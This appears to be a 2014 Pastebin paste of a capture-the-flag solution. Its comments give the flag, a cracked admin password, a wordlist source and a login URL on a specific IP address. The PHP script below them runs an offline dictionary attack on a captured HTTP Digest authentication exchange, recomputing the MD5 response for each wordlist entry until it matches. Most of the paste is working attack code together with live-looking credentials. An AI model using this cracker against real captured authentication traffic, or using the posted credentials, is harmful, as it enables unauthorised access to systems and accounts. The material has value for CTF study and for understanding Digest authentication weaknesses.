Guest User

Untitled

a guest
Jan 15th, 2014
921
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.52 KB | None | 0 0
  1. <?php
  2. //flag: CTF{6ee8014f5cc43767d03d97d6d73d9ed5}
  3. //pwd: cowboy123
  4. //InsidePro\ (Full)\ -\ 1.rar <-- wordlist took from http://www.insidepro.com/dictionaries.php
  5. //log in here with admin:cowboy123: http://54.201.187.163/auth.php
  6. //down here the script i used to brute digest admin access
  7. //look wikipedia for its functionality
  8.  
  9. ini_set('memory_limit', '-1');
  10. /*$username="Mufasa";
  11. $password="";//have to be guessd
  12. $method="GET";
  13. $digestURI="/dir/index.html";
  14. $clientNonce="0a4f113b";
  15. $nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093";
  16. $nonceCount="00000001";
  17. $qop="auth";
  18. $response="6629fae49393a05397450978507c4ef1";
  19. */
  20. $username="admin";
  21. $realm="Private Area";
  22. $password="";//have to be guessd
  23. $method="GET";
  24. $digestURI="/auth.php";
  25. $clientNonce="347278e387a2f030";
  26. $nonce="1389094144";
  27. $nonceCount="00000001";
  28. $qop="auth";
  29. $response="f86930f9e0466aeced34036bc2f7a346";
  30.  
  31. //ha1=md5(username:realm:password)
  32. //ha2=md5(method:digesturi)
  33. //risposta=md5(ha1:nonce:nonceCount:clientNonce:qop:ha2)
  34. //$fp=fopen("all3.txt","r");
  35.  
  36.  
  37. //$ha1=md5($username.":".$realm.":".$password);
  38. //echo md5($ha1.":".$nonce.":".$nonceCount.":".$clientNonce.":".$qop.":".$ha2)."\n";
  39. $ha2=md5($method.":".$digestURI);
  40. $lines=file_get_contents("xab");
  41. $arr=explode("\r\n",$lines);
  42.  
  43. for($i=0;$i<count($arr);$i++){
  44.     $password=$arr[$i];
  45.  
  46.     $ha1=md5($username.":".$realm.":".$password);
  47.     $r=md5($ha1.":".$nonce.":".$nonceCount.":".$clientNonce.":".$qop.":".$ha2);
  48.    
  49.     if($r==$response){
  50.         die($arr[$i]);
  51.     }
  52. }
  53.  
  54. ?>
Advertisement
Add Comment
Please, Sign In to add comment